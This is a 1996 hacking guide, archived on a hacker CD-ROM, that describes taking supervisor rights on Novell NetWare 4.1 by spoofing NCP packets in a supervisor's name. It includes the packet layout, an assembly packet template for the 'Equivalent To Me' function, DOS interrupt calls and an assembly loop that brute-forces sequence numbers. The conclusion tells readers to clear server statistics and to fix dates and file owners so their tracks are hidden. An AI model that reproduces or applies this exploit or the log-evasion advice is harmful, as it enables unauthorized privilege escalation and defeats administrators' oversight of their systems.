home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / network / nw41hack.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  9.5 KB  |  249 lines

  1.  
  2.  
  3.                        HACKING NOVELL NETWARE 4.1
  4.                    ----------------------------------
  5.                   Version 1.2
  6.  
  7.                    by Ilchenko Eugene and Gusev Igor
  8.  
  9.  
  10.                                   1996
  11.  
  12.                                 Contents
  13.  
  14.  
  15. Introduction...........................................................3
  16. 1.Exchange packets principle...........................................4
  17. 2.The common idea of cracking..........................................4
  18. 3.How to get Supervisor's rights.......................................5
  19. 4.Consequences.........................................................7
  20. Conclusion............................................................10
  21.  
  22.  
  23.  
  24.                               Introduction
  25.  
  26.  
  27.  
  28.    As you know everything can be broken and NOVELL  NETWARE  is  not  an
  29. exeption. But the time for cracking something is defined by the time  of
  30. geting information about it. The more information you will find the more
  31. easy it will be for you to crack.
  32.    In this documentation we'd like to tell you some sence  about  NOVELL
  33. net and about cracking it.
  34. This document is only for studying.In this document only the common 
  35. principles are discussed. If you still wonna hack you should know IPX 
  36. and NCP (netware core protocol) and think little for
  37. yourself.
  38.  
  39.    Excuse our English - it is not our first language. :)
  40.  
  41.  
  42.                      1.Exchange packets principle.
  43.  
  44.    First of all the server and workstations send packets to  each  other
  45. accoding to the special protocol known as Netware Core Protocol ( NCP  )
  46. based on the IPX protocol. Every packet is sighed with  its  own  number
  47. from 0 to 255 stored in one  byte.  This  field  is  known  as  Sequence
  48. Number. Look at the packet structure.
  49.  
  50.  
  51.                           The packet structure
  52.  
  53.      Field      Number     Memory               Meaning
  54.                of bytes   location
  55.  
  56. ------------------------ Phisical packet header ------------------------
  57.  
  58. ReceiverAddress     6      Normal    The address of the workstation that
  59.                                      will recive the packet
  60. SenderAddress       6      Normal    The address of the workstation that
  61.                                      sends the packet
  62. DataLength          2     High-Low   The packet length
  63.  
  64. ------------------------- IPX protocol header --------------------------
  65. CheckSum            2      Normal    The packet checksum.
  66. IpxLength           2     High-Low   The IPX packet length
  67. HopCount            1        -       Number of bridges to overcome
  68. PacketType          1        -       The packet type.
  69. DestNetwork         4      Normal    The destination subnet address
  70. DestNode            6      Normal    The destination workstation address
  71. DestSocket          2     Low-High   The destination programme socket
  72. SourceNetwork       4      Normal    The source subnet addres
  73.  
  74.  
  75. SourceNode          6      Normal    The source workstation address
  76. SourceSocket        2     Low-High   the source programme socket
  77.  
  78. ------------------------- NCP protocol header --------------------------
  79. RequestType         2     Low-High   Depends on the request
  80. SequenceNumber      1        -       The number of the packet
  81. ConectionNumberLow  1        -       The conrction number.During the lo-
  82.                                      gin operation every station are as-
  83.                                      signed with the its own number
  84. TaskNumber          1        -       The task number. It is for worksta-
  85.                                      ion  I  guess. Never mind about it.
  86.                                      Just set it zero or whatever number
  87.                                      you like.
  88. ConectionNumberHigh 1        -       Always 0.
  89. FunctionCode        1        -       The function identificator.
  90.  
  91. -------------------------- NCP protocol data ---------------------------
  92.        -            -        -       Depends on the requet type and the
  93.                                      function
  94.  
  95.  The initiater is the workstation. It sends  a  requirement  packet  and
  96. waits for an answer. The server receives the packet , check the  station
  97. address , the subnet address ,  the  socket  ,  the  conection  and  the
  98. sequence number. If something is wrong the server reject  to  accomplish
  99. the requirement operation and send the answer.
  100.  
  101.  
  102.  
  103.                      2.The common idea of cracking.
  104.  
  105.     As was said above the server checks all the packets it receives. But
  106. if to form the packet like the other workstation, set its  addresses  in
  107. the packet , set its connection number and so on and then to send it  to
  108. the net the server will never know whos request it has  accomplished.The
  109. main difficulty is the  sequens  number  because  others fields  can  be
  110. obtained from the server with the usual functions. To make  sure  server
  111. the server has accomplish the operation you should send the same  packet
  112. 255 times with different sequens numbers.
  113.  
  114.  
  115.  
  116.                     3.How to get supervisor's rights
  117.  
  118.     You can  get  supervisor's  rights  just  having  become  supervisor
  119. equevalent. There is a function known  as  EQUIVALENT  TO  ME  that  you
  120. should send in name of supervisor. Look at the packet structure.
  121.  
  122.         The packet structure with function EQUIVALENT TO ME
  123.  
  124. ------------------------ Phisical packet header ------------------------
  125. RecAdr                db 00,20h,0afh,4fh,5fh,0ah
  126. SndAdr                db 00,20h,0afh,089h,022h,0afh
  127. DataLength            db 01,68h
  128. -------------------------- IPX packet header ---------------------------
  129.                       dw 0ffffh
  130. IpxLength             db 01,67h
  131.                       db 0
  132.                       db 17
  133. DestNetwork           db ?,?,?,?
  134. DestNode              db ?,?,?,?,?,?
  135. DestSocket            db 04,51h
  136. SourceNetWork         db 00,00,01,02
  137. SourceNode            db ?,?,?,?,?,?
  138. SourceSocket          db 40h,03
  139. -------------------------- NCP packet header ---------------------------
  140.                       db 22h,22h
  141. SequenceNumber        db 48
  142. ConnectionNumberLow   db 24
  143.                       db 4
  144.                       db 0
  145.                       db 68h
  146.                       db 2
  147. --------------------------- NCP packet data ----------------------------
  148.                       dd -1
  149.                       dd 514
  150. S1_2:                 dd offset S1_1 - offset S1_2-4
  151.                       dd 0
  152.                       dd 9
  153.                       dd 0
  154.                       dd 0
  155.                       dd 0
  156. S1ID                  db 67h,02h,00,06h
  157.                       dd 1
  158.                       dd 5
  159.                       dd 34
  160.                       db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
  161.                       db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
  162.                       dd 0
  163.                       dd 1
  164.                       dd 26
  165.                       db '3',0,'1',0,'0',0,'7',0,'.',0,'I',0,'N',0,'F',0
  166.                       db '.',0,'T',0,'S',0,'U',0
  167.                       
  168.      !!! - two last strings - your full network name (like 3107.inf.tsu)
  169.  
  170.  
  171.    To get supervisor's address,subnet,socket,ID,conection number you can
  172. via the function Get Connection Information. Look below.
  173.  
  174.  
  175.  
  176.                        Get Connection Information
  177.   ah=E3h
  178.   ds:si=> ConReq
  179.             dw 2           - length
  180.             db 16h         - subfunction
  181.             db ?           - Conection Number
  182.   es:di=> ConRep
  183.             dw 62          - length
  184.             db 4 dup (?)   
  185.             dw ?           - User Type
  186.             db 56 duo (?)  - User login name
  187.   int 21h
  188.  
  189.     You can send the packet via IPX driver (function 9) but in this case
  190. you have not access to the phisical packet header. I  guess  the  server
  191. does not check the sender address there.
  192.     You can also send the packet via LSL driver but it is too difficult.
  193.     The simplest way is to send the packet via ODIPKT driver (  function
  194. 4 ).
  195.  
  196.                          Send Packet Via Odipkt
  197.  
  198.       ah=4
  199.       cx=length
  200.       ds:si=>packet
  201.       int 60h
  202.       C=1 if error
  203.  
  204.  
  205.                     The procedure of sending packets
  206.  
  207. Send            proc
  208.                 mov SequenceNumber,0
  209. @@1:            push ds
  210.                 push es
  211.                 mov ah,4
  212.                 mov cx,Length
  213.                 mov si,offset Packet
  214.                 int 60h
  215.                 pop es
  216.                 pop ds
  217.                 jc @@1
  218.                 mov cx,1000
  219.                 loop $-2
  220.                 dec SequenceNumber
  221.                 jne @@1
  222.                 ret
  223. Send            endp
  224.  
  225.  
  226.  
  227.                             4.Consequences.
  228.  
  229.     After answering a  packet  a  server  waits  for  another  one  with
  230. incremented sequence number. If you try to squees your packet  into  the
  231. work between the server and the workstation then there will  appear  the
  232. dissequence of packets and the user will hang up. But you can avoid this
  233. by sending 256*255 packets more.
  234.  
  235.  
  236.  
  237.                                Conclusion
  238.  
  239.     If you realize the program accoding to this documentation  you  will
  240. get big rights. I hope you will not harm anybody. Moreover,do not forget
  241. that all what you do is fixed on the server.Clear off the server statis-
  242. tic. Don't forget about dates and file owners.
  243.  
  244. Copyright 1995. by dISEr&_Igor_        (http://www.tsu.tomsk.su/~eugene/)
  245.  
  246. All comments, ideas, and questions send to eugene@info.tsu.tomsk.su 
  247. (especially for Novell company - i dont know any e-mail address of the 
  248.  Sequrity Expert of the Novell Company, and i want to know it....) 
  249.